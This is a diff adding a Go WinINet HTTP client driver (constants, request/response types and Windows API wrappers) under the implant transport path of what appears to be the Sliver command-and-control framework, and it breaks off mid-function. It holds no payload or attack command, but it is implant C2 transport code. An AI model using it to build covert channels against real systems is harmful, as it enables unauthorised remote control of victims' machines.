+	ErrorInternetIncorrectHandleType               uintptr = (InternetErrorBase + 18)
+	ErrorInternetIncorrectHandleState              uintptr = (InternetErrorBase + 19)
+	ErrorInternetNotProxyRequest                   uintptr = (InternetErrorBase + 20)
+	ErrorInternetRegistryValueNotFound             uintptr = (InternetErrorBase + 21)
+	ErrorInternetBadRegistryParameter              uintptr = (InternetErrorBase + 22)
+	ErrorInternetNoDirectAccess                    uintptr = (InternetErrorBase + 23)
+	ErrorInternetNoContext                         uintptr = (InternetErrorBase + 24)
+	ErrorInternetNoCallback                        uintptr = (InternetErrorBase + 25)
+	ErrorInternetRequestPending                    uintptr = (InternetErrorBase + 26)
+	ErrorInternetIncorrectFormat                   uintptr = (InternetErrorBase + 27)
+	ErrorInternetItemNotFound                      uintptr = (InternetErrorBase + 28)
+	ErrorInternetCannotConnect                     uintptr = (InternetErrorBase + 29)
+	ErrorInternetConnectionAborted                 uintptr = (InternetErrorBase + 30)
+	ErrorInternetConnectionReset                   uintptr = (InternetErrorBase + 31)
+	ErrorInternetForceRetry                        uintptr = (InternetErrorBase + 32)
+	ErrorInternetInvalidProxyRequest               uintptr = (InternetErrorBase + 33)
+	ErrorInternetNeedUi                            uintptr = (InternetErrorBase + 34)
+	ErrorInternetHandleExists                      uintptr = (InternetErrorBase + 36)
+	ErrorInternetSecCertDateInvalid                uintptr = (InternetErrorBase + 37)
+	ErrorInternetSecCertCnInvalid                  uintptr = (InternetErrorBase + 38)
+	ErrorInternetHTTPToHTTPsOnRedir                uintptr = (InternetErrorBase + 39)
+	ErrorInternetHTTPsToHTTPOnRedir                uintptr = (InternetErrorBase + 40)
+	ErrorInternetMixedSecurity                     uintptr = (InternetErrorBase + 41)
+	ErrorInternetChgPostIsNonSecure                uintptr = (InternetErrorBase + 42)
+	ErrorInternetPostIsNonSecure                   uintptr = (InternetErrorBase + 43)
+	ErrorInternetClientAuthCertNeeded              uintptr = (InternetErrorBase + 44)
+	ErrorInternetInvalidCa                         uintptr = (InternetErrorBase + 45)
+	ErrorInternetClientAuthNotSetup                uintptr = (InternetErrorBase + 46)
+	ErrorInternetAsyncThreadFailed                 uintptr = (InternetErrorBase + 47)
+	ErrorInternetRedirectSchemeChange              uintptr = (InternetErrorBase + 48)
+	ErrorInternetDialogPending                     uintptr = (InternetErrorBase + 49)
+	ErrorInternetRetryDialog                       uintptr = (InternetErrorBase + 50)
+	ErrorInternetHTTPsHTTPSubmitRedir              uintptr = (InternetErrorBase + 52)
+	ErrorInternetInsertCdrom                       uintptr = (InternetErrorBase + 53)
+	ErrorInternetFortezzaLoginNeeded               uintptr = (InternetErrorBase + 54)
+	ErrorInternetSecCertErrors                     uintptr = (InternetErrorBase + 55)
+	ErrorInternetSecCertNoRev                      uintptr = (InternetErrorBase + 56)
+	ErrorInternetSecCertRevFailed                  uintptr = (InternetErrorBase + 57)
+	ErrorFtpTransferInProgress                     uintptr = (InternetErrorBase + 110)
+	ErrorFtpDropped                                uintptr = (InternetErrorBase + 111)
+	ErrorFtpNoPassiveMode                          uintptr = (InternetErrorBase + 112)
+	ErrorGopherProtocolError                       uintptr = (InternetErrorBase + 130)
+	ErrorGopherNotFile                             uintptr = (InternetErrorBase + 131)
+	ErrorGopherDataError                           uintptr = (InternetErrorBase + 132)
+	ErrorGopherEndOfData                           uintptr = (InternetErrorBase + 133)
+	ErrorGopherInvalidLocator                      uintptr = (InternetErrorBase + 134)
+	ErrorGopherIncorrectLocatorType                uintptr = (InternetErrorBase + 135)
+	ErrorGopherNotGopherPlus                       uintptr = (InternetErrorBase + 136)
+	ErrorGopherAttributeNotFound                   uintptr = (InternetErrorBase + 137)
+	ErrorGopherUnknownLocator                      uintptr = (InternetErrorBase + 138)
+	ErrorHTTPHeaderNotFound                        uintptr = (InternetErrorBase + 150)
+	ErrorHTTPDownlevelServer                       uintptr = (InternetErrorBase + 151)
+	ErrorHTTPInvalidServerResponse                 uintptr = (InternetErrorBase + 152)
+	ErrorHTTPInvalidHeader                         uintptr = (InternetErrorBase + 153)
+	ErrorHTTPInvalidQueryRequest                   uintptr = (InternetErrorBase + 154)
+	ErrorHTTPHeaderAlreadyExists                   uintptr = (InternetErrorBase + 155)
+	ErrorHTTPRedirectFailed                        uintptr = (InternetErrorBase + 156)
+	ErrorHTTPNotRedirected                         uintptr = (InternetErrorBase + 160)
+	ErrorHTTPCookieNeedsConfirmation               uintptr = (InternetErrorBase + 161)
+	ErrorHTTPCookieDeclined                        uintptr = (InternetErrorBase + 162)
+	ErrorHTTPRedirectNeedsConfirmation             uintptr = (InternetErrorBase + 168)
+	ErrorInternetSecurityChannelError              uintptr = (InternetErrorBase + 157)
+	ErrorInternetUnableToCacheFile                 uintptr = (InternetErrorBase + 158)
+	ErrorInternetTcpipNotInstalled                 uintptr = (InternetErrorBase + 159)
+	ErrorInternetDisconnected                      uintptr = (InternetErrorBase + 163)
+	ErrorInternetServerUnreachable                 uintptr = (InternetErrorBase + 164)
+	ErrorInternetProxyServerUnreachable            uintptr = (InternetErrorBase + 165)
+	ErrorInternetBadAutoProxyScript                uintptr = (InternetErrorBase + 166)
+	ErrorInternetUnableToDownloadScript            uintptr = (InternetErrorBase + 167)
+	ErrorInternetSecInvalidCert                    uintptr = (InternetErrorBase + 169)
+	ErrorInternetSecCertRevoked                    uintptr = (InternetErrorBase + 170)
+	ErrorInternetFailedDuetosecuritycheck          uintptr = (InternetErrorBase + 171)
+	ErrorInternetNotInitialized                    uintptr = (InternetErrorBase + 172)
+	ErrorInternetNeedMsnSspiPkg                    uintptr = (InternetErrorBase + 173)
+	ErrorInternetLoginFailureDisplayEntityBody     uintptr = (InternetErrorBase + 174)
+	InternetErrorLast                              uintptr = ErrorInternetLoginFailureDisplayEntityBody
+	NormalCacheEntry                               uintptr = 0x00000001
+	StickyCacheEntry                               uintptr = 0x00000004
+	EditedCacheEntry                               uintptr = 0x00000008
+	TrackOfflineCacheEntry                         uintptr = 0x00000010
+	TrackOnlineCacheEntry                          uintptr = 0x00000020
+	SparseCacheEntry                               uintptr = 0x00010000
+	CookieCacheEntry                               uintptr = 0x00100000
+	UrlhistoryCacheEntry                           uintptr = 0x00200000
+	UrlcacheFindDefaultFilter                      uintptr = NormalCacheEntry | CookieCacheEntry | UrlhistoryCacheEntry | TrackOfflineCacheEntry | TrackOnlineCacheEntry | StickyCacheEntry
+	CachegroupAttributeGetAll                      uintptr = 0xffffffff
+	CachegroupAttributeBasic                       uintptr = 0x00000001
+	CachegroupAttributeFlag                        uintptr = 0x00000002
+	CachegroupAttributeType                        uintptr = 0x00000004
+	CachegroupAttributeQuota                       uintptr = 0x00000008
+	CachegroupAttributeGroupname                   uintptr = 0x00000010
+	CachegroupAttributeStorage                     uintptr = 0x00000020
+	CachegroupFlagNonpurgeable                     uintptr = 0x00000001
+	CachegroupFlagGidonly                          uintptr = 0x00000004
+	CachegroupFlagFlushurlOndelete                 uintptr = 0x00000002
+	CachegroupSearchAll                            uintptr = 0x00000000
+	CachegroupSearchByurl                          uintptr = 0x00000001
+	CachegroupTypeInvalid                          uintptr = 0x00000001
+	CachegroupReadwriteMask                        uintptr = CachegroupAttributeType | CachegroupAttributeQuota | CachegroupAttributeGroupname | CachegroupAttributeStorage
+	GroupnameMaxLength                             uintptr = 120
+	GroupOwnerStorageSize                          uintptr = 4
+	CacheEntryAttributeFc                          uintptr = 0x00000004
+	CacheEntryHitrateFc                            uintptr = 0x00000010
+	CacheEntryModtimeFc                            uintptr = 0x00000040
+	CacheEntryExptimeFc                            uintptr = 0x00000080
+	CacheEntryAcctimeFc                            uintptr = 0x00000100
+	CacheEntrySynctimeFc                           uintptr = 0x00000200
+	CacheEntryHeaderinfoFc                         uintptr = 0x00000400
+	CacheEntryExemptDeltaFc                        uintptr = 0x00000800
+	InternetCacheGroupAdd                          uintptr = 0
+	InternetCacheGroupRemove                       uintptr = 1
+	InternetDialForcePrompt                        uintptr = 0x2000
+	InternetDialShowOffline                        uintptr = 0x4000
+	InternetDialUnattended                         uintptr = 0x8000
+	InterentGoonlineRefresh                        uintptr = 0x00000001
+	InterentGoonlineMask                           uintptr = 0x00000001
+	InternetAutodialForceOnline                    uintptr = 1
+	InternetAutodialForceUnattended                uintptr = 2
+	InternetAutodialFailifsecuritycheck            uintptr = 4
+	InternetAutodialOverrideNetPresent             uintptr = 8
+	InternetAutodialFlagsMask                      uintptr = (InternetAutodialForceOnline | InternetAutodialForceUnattended | InternetAutodialFailifsecuritycheck | InternetAutodialOverrideNetPresent)
+	ProxyAutoDetectTypeDhcp                        uintptr = 1
+	ProxyAutoDetectTypeDnsA                        uintptr = 2
+	InternetConnectionModem                        uintptr = 0x01
+	InternetConnectionLan                          uintptr = 0x02
+	InternetConnectionProxy                        uintptr = 0x04
+	InternetConnectionModemBusy                    uintptr = 0x08
+	InternetRasInstalled                           uintptr = 0x10
+	InternetConnectionOffline                      uintptr = 0x20
+	InternetConnectionConfigured                   uintptr = 0x40
+	InternetCustomdialConnect                      uintptr = 0
+	InternetCustomdialUnattended                   uintptr = 1
+	InternetCustomdialDisconnect                   uintptr = 2
+	InternetCustomdialShowoffline                  uintptr = 4
+	InternetCustomdialSafeForUnattended            uintptr = 1
+	InternetCustomdialWillSupplyState              uintptr = 2
+	InternetCustomdialCanHangup                    uintptr = 4
+	InternetDialstateDisconnected                  uintptr = 1
+	InternetIdentityFlagPrivateCache               uintptr = 0x01
+	InternetIdentityFlagSharedCache                uintptr = 0x02
+	InternetIdentityFlagClearData                  uintptr = 0x04
+	InternetIdentityFlagClearCookies               uintptr = 0x08
+	InternetIdentityFlagClearHistory               uintptr = 0x10
+	InternetIdentityFlagClearContent               uintptr = 0x20
+	InternetSuppressResetAll                       uintptr = 0x00
+	InternetSuppressCookiePolicy                   uintptr = 0x01
+	InternetSuppressCookiePolicyReset              uintptr = 0x02
+	PrivacyTemplateNoCookies                       uintptr = 0
+	PrivacyTemplateHigh                            uintptr = 1
+	PrivacyTemplateMediumHigh                      uintptr = 2
+	PrivacyTemplateMedium                          uintptr = 3
+	PrivacyTemplateMediumLow                       uintptr = 4
+	PrivacyTemplateLow                             uintptr = 5
+	PrivacyTemplateCustom                          uintptr = 100
+	PrivacyTemplateAdvanced                        uintptr = 101
+	PrivacyTemplateMax                             uintptr = PrivacyTemplateLow
+	PrivacyTypeFirstParty                          uintptr = 0
+	PrivacyTypeThirdParty                          uintptr = 1
+)

implant/sliver/transports/httpclient/drivers/win/wininet/http.go

@@ -0,0 +1,20 @@
+package wininet
+
+import "errors"
+
+// ErrNoCookie is returned by Request's Cookie method when a cookie is
+// not found.
+var ErrNoCookie = errors.New("named cookie not present")
+
+// Common HTTP methods.
+const (
+	MethodConnect string = "CONNECT"
+	MethodDelete  string = "DELETE"
+	MethodGet     string = "GET"
+	MethodHead    string = "HEAD"
+	MethodOptions string = "OPTIONS"
+	MethodPatch   string = "PATCH"
+	MethodPost    string = "POST"
+	MethodPut     string = "PUT"
+	MethodTrace   string = "TRACE"
+)

implant/sliver/transports/httpclient/drivers/win/wininet/request.go

@@ -0,0 +1,55 @@
+package wininet
+
+// Request is a struct containing common HTTP request data.
+type Request struct {
+	Body    []byte
+	cookies []*Cookie
+	Headers map[string]string
+	Method  string
+	URL     string
+}
+
+// NewRequest will return a pointer to a new Request instasnce.
+func NewRequest(method, url string, body ...[]byte) *Request {
+	var b []byte
+
+	if len(body) > 0 {
+		b = body[0]
+	}
+
+	return &Request{
+		Body:    b,
+		Headers: map[string]string{},
+		Method:  method,
+		URL:     url,
+	}
+}
+
+// AddCookie will add a Cookie to the Request.
+func (r *Request) AddCookie(cookie *Cookie) {
+	for i, c := range r.cookies {
+		if cookie.Name == c.Name {
+			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
+			break
+		}
+	}
+
+	r.cookies = append(r.cookies, cookie)
+}
+
+// Cookie will return the named Cookie provided in the Request or
+// ErrNoCookie, if not found.
+func (r *Request) Cookie(name string) (*Cookie, error) {
+	for _, c := range r.cookies {
+		if name == c.Name {
+			return c, nil
+		}
+	}
+
+	return nil, ErrNoCookie
+}
+
+// Cookies will return the HTTP cookies provided in the Request.
+func (r *Request) Cookies() []*Cookie {
+	return r.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/response.go

@@ -0,0 +1,47 @@
+package wininet
+
+import (
+	"io"
+)
+
+// Response is a struct containing common HTTP response data.
+type Response struct {
+	Body          io.ReadCloser
+	cookies       []*Cookie
+	ContentLength int64
+	Header        map[string][]string
+	Proto         string
+	ProtoMajor    int
+	ProtoMinor    int
+	Status        string
+	StatusCode    int
+}
+
+// AddCookie will add a Cookie to the Request.
+func (r *Response) AddCookie(cookie *Cookie) {
+	for i, c := range r.cookies {
+		if cookie.Name == c.Name {
+			r.cookies = append(r.cookies[:i], r.cookies[i+1:]...)
+			break
+		}
+	}
+
+	r.cookies = append(r.cookies, cookie)
+}
+
+// Cookie will return the named Cookie provided in the Response or
+// ErrNoCookie, if not found.
+func (r *Response) Cookie(name string) (*Cookie, error) {
+	for _, c := range r.cookies {
+		if name == c.Name {
+			return c, nil
+		}
+	}
+
+	return nil, ErrNoCookie
+}
+
+// Cookies will return the HTTP cookies provided in the Response.
+func (r *Response) Cookies() []*Cookie {
+	return r.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/utils_windows.go

@@ -0,0 +1,365 @@
+package wininet
+
+import (
+	"bytes"
+	"fmt"
+	"io"
+	"io/ioutil"
+	"net/url"
+	"strconv"
+	"strings"
+)
+
+func convertFail(str string, err error) error {
+	return fmt.Errorf(
+		"failed to convert %s to Windows type: %w",
+		str,
+		err,
+	)
+}
+
+func buildRequest(sessionHndl uintptr, r *Request) (uintptr, error) {
+	var connHndl uintptr
+	var err error
+	var flags uintptr
+	var passwd string
+	var port int64
+	var query string
+	var reqHndl uintptr
+	var uri *url.URL
+
+	// Parse URL
+	if uri, err = url.Parse(r.URL); err != nil {
+		return 0, fmt.Errorf("failed to parse url %s: %w", r.URL, err)
+	}
+
+	passwd, _ = uri.User.Password()
+
+	if uri.Port() != "" {
+		if port, err = strconv.ParseInt(uri.Port(), 10, 64); err != nil {
+			err = fmt.Errorf("port %s invalid: %w", uri.Port(), err)
+			return 0, err
+		}
+	}
+
+	switch uri.Scheme {
+	case "https":
+		flags = InternetFlagSecure
+	}
+
+	// Create connection
+	connHndl, err = InternetConnectW(
+		sessionHndl,
+		uri.Hostname(),
+		int(port),
+		uri.User.Username(),
+		passwd,
+		InternetServiceHTTP,
+		flags,
+		0,
+	)
+	if err != nil {
+		return 0, fmt.Errorf("failed to create connection: %w", err)
+	}
+
+	// Send query string too
+	if uri.RawQuery != "" {
+		query = "?" + uri.RawQuery
+	}
+
+	// Allow NTLM auth
+	flags |= InternetFlagKeepConnection
+	flags |= InternetFlagNoCookies //we're responsible for cookie management
+
+	// Create HTTP request
+	reqHndl, err = HTTPOpenRequestW(
+		connHndl,
+		r.Method,
+		uri.Path+query,
+		"",
+		"",
+		[]string{},
+		flags,
+		0,
+	)
+	if err != nil {
+		return 0, fmt.Errorf("failed to open request: %w", err)
+	}
+
+	return reqHndl, nil
+}
+
+var cookies []*Cookie
+
+func buildResponse(reqHndl uintptr, req *Request) (*Response, error) {
+	var b []byte
+	var body io.ReadCloser
+	var code int64
+	var contentLen int64
+	var err error
+	var hdrs map[string][]string
+	var major int
+	var minor int
+	var proto string
+	var res *Response
+	var status string
+
+	// Get status code
+	b, err = queryResponse(reqHndl, HTTPQueryStatusCode, 0)
+	if err != nil {
+		return nil, err
+	}
+
+	status = string(b)
+	if code, err = strconv.ParseInt(status, 10, 64); err != nil {
+		return nil, fmt.Errorf("status %s invalid: %w", status, err)
+	}
+
+	// Get status text
+	b, err = queryResponse(reqHndl, HTTPQueryStatusText, 0)
+	if err != nil {
+		return nil, err
+	} else if len(b) > 0 {
+		status += " " + string(b)
+	}
+
+	// Parse cookies
+	cookies = getCookies(reqHndl)
+
+	// Parse headers and proto
+	if proto, major, minor, hdrs, err = getHeaders(reqHndl); err != nil {
+		return nil, err
+	}
+
+	// Read response body
+	if body, contentLen, err = readResponse(reqHndl); err != nil {
+		return nil, err
+	}
+
+	res = &Response{
+		Body:          body,
+		ContentLength: contentLen,
+		Header:        hdrs,
+		Proto:         proto,
+		ProtoMajor:    major,
+		ProtoMinor:    minor,
+		Status:        status,
+		StatusCode:    int(code),
+	}
+
+	// Concat all cookies
+	for _, c := range req.Cookies() {
+		res.AddCookie(c)
+	}
+
+	for _, c := range cookies {
+		res.AddCookie(c)
+	}
+
+	return res, nil
+}
+
+func getCookies(reqHndl uintptr) []*Cookie {
+	var b []byte
+	var cookies []*Cookie
+	var err error
+	var tmp []string
+
+	// Get cookies
+	for i := 0; ; i++ {
+		b, err = queryResponse(
+			reqHndl,
+			HTTPQuerySetCookie,
+			i,
+		)
+		if err != nil {
+			break
+		}
+
+		tmp = strings.SplitN(string(b), "=", 2)
+		cookies = append(
+			cookies,
+			&Cookie{Name: tmp[0], Value: tmp[1]},
+		)
+	}
+
+	return cookies
+}
+
+func getHeaders(
+	reqHndl uintptr,
+) (string, int, int, map[string][]string, error) {
+	var b []byte
+	var err error
+	var hdrs = map[string][]string{}
+	var major int64
+	var minor int64
+	var proto string
+	var tmp []string
+
+	// Get headers
+	b, err = queryResponse(reqHndl, HTTPQueryRawHeadersCRLF, 0)
+	if err != nil {
+		return "", 0, 0, nil, err
+	}
+
+	for _, hdr := range strings.Split(string(b), "\r\n") {
+		tmp = strings.SplitN(hdr, ": ", 2)
+
+		if len(tmp) == 2 {
+			if _, ok := hdrs[tmp[0]]; !ok {
+				hdrs[tmp[0]] = []string{}
+			}
+
+			hdrs[tmp[0]] = append(hdrs[tmp[0]], tmp[1])
+		} else if strings.HasPrefix(hdr, "HTTP") {
+			proto = strings.Fields(hdr)[0]
+			tmp = strings.Split(proto, ".")
+
+			if len(tmp) >= 2 {
+				tmp[0] = strings.Replace(tmp[0], "HTTP/", "", 1)
+
+				major, err = strconv.ParseInt(tmp[0], 10, 64)
+				if err != nil {
+					err = fmt.Errorf("invalid HTTP version: %w", err)
+					return "", 0, 0, nil, err
+				}
+
+				minor, err = strconv.ParseInt(tmp[1], 10, 64)
+				if err != nil {
+					err = fmt.Errorf("invalid HTTP version: %w", err)
+					return "", 0, 0, nil, err
+				}
+			}
+		}
+	}
+
+	return proto, int(major), int(minor), hdrs, nil
+}
+
+func queryResponse(reqHndl, info uintptr, idx int) ([]byte, error) {
+	var buffer []byte
+	var err error
+	var size int
+
+	if idx < 0 {
+		idx = 0
+	}
+
+	err = HTTPQueryInfoW(reqHndl, info, &buffer, &size, &idx)
+	if err != nil {
+		buffer = make([]byte, size)
+
+		err = HTTPQueryInfoW(
+			reqHndl,
+			info,
+			&buffer,
+			&size,
+			&idx,
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to query info: %w", err)
+			return []byte{}, err
+		}
+	}
+
+	return buffer, nil
+}
+
+func readResponse(reqHndl uintptr) (io.ReadCloser, int64, error) {
+	var b []byte
+	var chunk []byte
+	var chunkLen int64
+	var contentLen int64
+	var err error
+	var n int64
+
+	// Get Content-Length and body of response
+	for {
+		// Get next chunk size
+		err = InternetQueryDataAvailable(reqHndl, &chunkLen)
+		if err != nil {
+			err = fmt.Errorf("failed to query data available: %w", err)
+			break
+		}
+
+		// Stop, if finished
+		if chunkLen == 0 {
+			break
+		}
+
+		// Read next chunk
+		err = InternetReadFile(reqHndl, &chunk, chunkLen, &n)
+		if err != nil {
+			err = fmt.Errorf("failed to read data: %w", err)
+			break
+		}
+
+		// Update fields
+		contentLen += chunkLen
+		b = append(b, chunk...)
+	}
+
+	if err != nil {
+		return nil, 0, err
+	}
+
+	return ioutil.NopCloser(bytes.NewReader(b)), contentLen, nil
+}
+
+func sendRequest(reqHndl uintptr, r *Request) error {
+	var err error
+	var method uintptr
+
+	// Process cookies
+	method = HTTPAddreqFlagAdd
+	method |= HTTPAddreqFlagCoalesceWithSemicolon
+
+	// // FIXME This is a dumb hack
+	// HTTPAddRequestHeadersW(
+	// 	reqHndl,
+	// 	"Cookie: ignore=ignore",
+	// 	HTTPAddreqFlagAddIfNew,
+	// )
+	// End dumb hack
+
+	for _, c := range r.Cookies() {
+		err = HTTPAddRequestHeadersW(
+			reqHndl,
+			"Cookie: "+c.Name+"="+c.Value,
+			method,
+		)
+		if err != nil {
+			return fmt.Errorf("failed to add cookies: %w", err)
+		}
+	}
+
+	// Process headers
+	method = HTTPAddreqFlagAdd
+	method |= HTTPAddreqFlagReplace
+
+	for k, v := range r.Headers {
+		err = HTTPAddRequestHeadersW(
+			reqHndl,
+			k+": "+v,
+			method,
+		)
+		if err != nil {
+			return fmt.Errorf("failed to add request headers: %w", err)
+		}
+	}
+
+	// Send HTTP request
+	err = HTTPSendRequestW(
+		reqHndl,
+		"",
+		0,
+		r.Body,
+		len(r.Body),
+	)
+	if err != nil {
+		return fmt.Errorf("failed to send request: %w", err)
+	}
+
+	return nil
+}

implant/sliver/transports/httpclient/drivers/win/wininet/wininet.go

@@ -0,0 +1,3 @@
+package wininet
+
+//go:generate go run ../tools/defines.go wininet /usr/x86_64-w64-mingw32/include/wininet.h

implant/sliver/transports/httpclient/drivers/win/wininet/wininet_windows.go

@@ -0,0 +1,415 @@
+package wininet
+
+import (
+	"fmt"
+	"strings"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+var wininet *windows.LazyDLL = windows.NewLazySystemDLL("Wininet")
+
+// HTTPAddRequestHeadersW is from wininet.h
+func HTTPAddRequestHeadersW(
+	reqHndl uintptr,
+	header string,
+	addMethod uintptr,
+) error {
+	var err error
+	var ok uintptr
+	var proc string = "HttpAddRequestHeadersW"
+	var pswzHeader uintptr
+	var tmp *uint16
+
+	if header == "" {
+		// Weird, just do nothing
+		return nil
+	}
+	header = strings.TrimSpace(header) + "\r\n"
+
+	// Convert to Windows types
+	if tmp, err = windows.UTF16PtrFromString(header); err != nil {
+		return convertFail(header, err)
+	}
+
+	pswzHeader = uintptr(unsafe.Pointer(tmp))
+
+	ok, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		pswzHeader,
+		uintptr(len(header)),
+		addMethod,
+	)
+	if ok == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// HTTPOpenRequestW is from wininet.h
+func HTTPOpenRequestW(
+	connHndl uintptr,
+	verb string,
+	objectName string,
+	version string,
+	referrer string,
+	acceptTypes []string,
+	flags uintptr,
+	context uintptr,
+) (uintptr, error) {
+	var err error
+	var lpcwstrObjectName uintptr
+	var lpcwstrReferrer uintptr
+	var lpcwstrVerb uintptr
+	var lpcwstrVersion uintptr
+	var lplpcwstrAcceptTypes []*uint16
+	var proc string = "HttpOpenRequestW"
+	var reqHndl uintptr
+	var tmp *uint16
+
+	// Convert to Windows types
+	lplpcwstrAcceptTypes = make([]*uint16, 1)
+	for _, theType := range acceptTypes {
+		if theType == "" {
+			continue
+		}
+
+		tmp, err = windows.UTF16PtrFromString(theType)
+		if err != nil {
+			return 0, convertFail(theType, err)
+		}
+
+		lplpcwstrAcceptTypes = append(lplpcwstrAcceptTypes, tmp)
+	}
+
+	if objectName != "" {
+		if tmp, err = windows.UTF16PtrFromString(objectName); err != nil {
+			return 0, convertFail(objectName, err)
+		}
+
+		lpcwstrObjectName = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if referrer != "" {
+		if tmp, err = windows.UTF16PtrFromString(referrer); err != nil {
+			return 0, convertFail(referrer, err)
+		}
+
+		lpcwstrReferrer = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if verb != "" {
+		if tmp, err = windows.UTF16PtrFromString(verb); err != nil {
+			return 0, convertFail(verb, err)
+		}
+
+		lpcwstrVerb = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if version != "" {
+		if tmp, err = windows.UTF16PtrFromString(version); err != nil {
+			return 0, convertFail(version, err)
+		}
+
+		lpcwstrVersion = uintptr(unsafe.Pointer(tmp))
+	}
+
+	reqHndl, _, err = wininet.NewProc(proc).Call(
+		connHndl,
+		lpcwstrVerb,
+		lpcwstrObjectName,
+		lpcwstrVersion,
+		lpcwstrReferrer,
+		uintptr(unsafe.Pointer(&lplpcwstrAcceptTypes[0])),
+		flags,
+		context,
+	)
+	if reqHndl == 0 {
+		return 0, fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return reqHndl, nil
+}
+
+// HTTPQueryInfoW is from wininet.h
+func HTTPQueryInfoW(
+	reqHndl uintptr,
+	info uintptr,
+	buffer *[]byte,
+	bufferLen *int,
+	index *int,
+) error {
+	var b []uint16
+	var err error
+	var proc string = "HttpQueryInfoW"
+	var success uintptr
+	var tmp string
+
+	if *bufferLen > 0 {
+		b = make([]uint16, *bufferLen)
+	} else {
+		b = make([]uint16, 1)
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		info,
+		uintptr(unsafe.Pointer(&b[0])),
+		uintptr(unsafe.Pointer(bufferLen)),
+		uintptr(unsafe.Pointer(index)),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	tmp = windows.UTF16ToString(b)
+	*buffer = []byte(tmp)
+
+	return nil
+}
+
+// HTTPSendRequestW is from wininet.h
+func HTTPSendRequestW(
+	reqHndl uintptr,
+	headers string,
+	headersLen int,
+	data []byte,
+	dataLen int,
+) error {
+	var body uintptr
+	var err error
+	var lpcwstrHeaders uintptr
+	var proc string = "HttpSendRequestW"
+	var success uintptr
+	var tmp *uint16
+
+	// Pointer to data if provided
+	if (data != nil) && (len(data) > 0) {
+		body = uintptr(unsafe.Pointer(&data[0]))
+	}
+
+	// Convert to Windows types
+	if headersLen > 0 {
+		if tmp, err = windows.UTF16PtrFromString(headers); err != nil {
+			return convertFail(headers, err)
+		}
+
+		lpcwstrHeaders = uintptr(unsafe.Pointer(tmp))
+	}
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		lpcwstrHeaders,
+		uintptr(headersLen),
+		body,
+		uintptr(dataLen),
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// InternetConnectW is from wininet.h
+func InternetConnectW(
+	sessionHndl uintptr,
+	serverName string,
+	serverPort int,
+	username string,
+	password string,
+	service uintptr,
+	flags uintptr,
+	context uintptr,
+) (uintptr, error) {
+	var connHndl uintptr
+	var err error
+	var lpcwstrServerName uintptr
+	var lpcwstrUserName uintptr
+	var lpcwstrPassword uintptr
+	var proc string = "InternetConnectW"
+	var tmp *uint16
+
+	// Convert to Windows types
+	if password != "" {
+		if tmp, err = windows.UTF16PtrFromString(password); err != nil {
+			return 0, convertFail(password, err)
+		}
+
+		lpcwstrPassword = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if serverName != "" {
+		if tmp, err = windows.UTF16PtrFromString(serverName); err != nil {
+			return 0, convertFail(serverName, err)
+		}
+
+		lpcwstrServerName = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if username != "" {
+		if tmp, err = windows.UTF16PtrFromString(username); err != nil {
+			return 0, convertFail(username, err)
+		}
+
+		lpcwstrUserName = uintptr(unsafe.Pointer(tmp))
+	}
+
+	connHndl, _, err = wininet.NewProc(proc).Call(
+		sessionHndl,
+		lpcwstrServerName,
+		uintptr(serverPort),
+		lpcwstrUserName,
+		lpcwstrPassword,
+		service,
+		flags,
+		context,
+	)
+	if connHndl == 0 {
+		return 0, fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return connHndl, nil
+}
+
+// InternetOpenW is from wininet.h
+func InternetOpenW(
+	userAgent string,
+	accessType uintptr,
+	proxy string,
+	proxyBypass string,
+	flags uintptr,
+) (uintptr, error) {
+	var err error
+	var lpszAgent uintptr
+	var lpszProxy uintptr
+	var lpszProxyBypass uintptr
+	var proc string = "InternetOpenW"
+	var sessionHndl uintptr
+	var tmp *uint16
+
+	// Convert to Windows types
+	if userAgent != "" {
+		if tmp, err = windows.UTF16PtrFromString(userAgent); err != nil {
+			return 0, convertFail(userAgent, err)
+		}
+
+		lpszAgent = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if proxy != "" {
+		if tmp, err = windows.UTF16PtrFromString(proxy); err != nil {
+			return 0, convertFail(proxy, err)
+		}
+
+		lpszProxy = uintptr(unsafe.Pointer(tmp))
+	}
+
+	if proxyBypass != "" {
+		tmp, err = windows.UTF16PtrFromString(proxyBypass)
+		if err != nil {
+			return 0, convertFail(proxyBypass, err)
+		}
+
+		lpszProxyBypass = uintptr(unsafe.Pointer(tmp))
+	}
+
+	sessionHndl, _, err = wininet.NewProc(proc).Call(
+		lpszAgent,
+		accessType,
+		lpszProxy,
+		lpszProxyBypass,
+		flags,
+	)
+	if sessionHndl == 0 {
+		return 0, fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return sessionHndl, nil
+}
+
+// InternetQueryDataAvailable is from wininet.h
+func InternetQueryDataAvailable(
+	reqHndl uintptr,
+	bytesAvailable *int64,
+) error {
+	var err error
+	var proc string = "InternetQueryDataAvailable"
+	var success uintptr
+
+	success, _, err = wininet.NewProc(proc).Call(
+		reqHndl,
+		uintptr(unsafe.Pointer(bytesAvailable)),
+		0,
+		0,
+	)
+	if success == 0 {
+		return fmt.Errorf("%s: %w", proc, err)
+	}
+
+	return nil
+}
+
+// InternetReadFile is from wininet.h
+func InternetReadFile(
+	reqHndl uintptr,
+	buffer *[]byte,
+	bytesToRead int64,
+	bytesRead *int64,
+) error {
+	var b []byte
+	var err error
+	var proc string = "InternetReadFile"
+	var success uintptr
+
+	if bytesToRead > 0 {
+		b = make([]byte, bytesToRead)
+	} else {
+		b = make([]byte, 1)
+	}
+
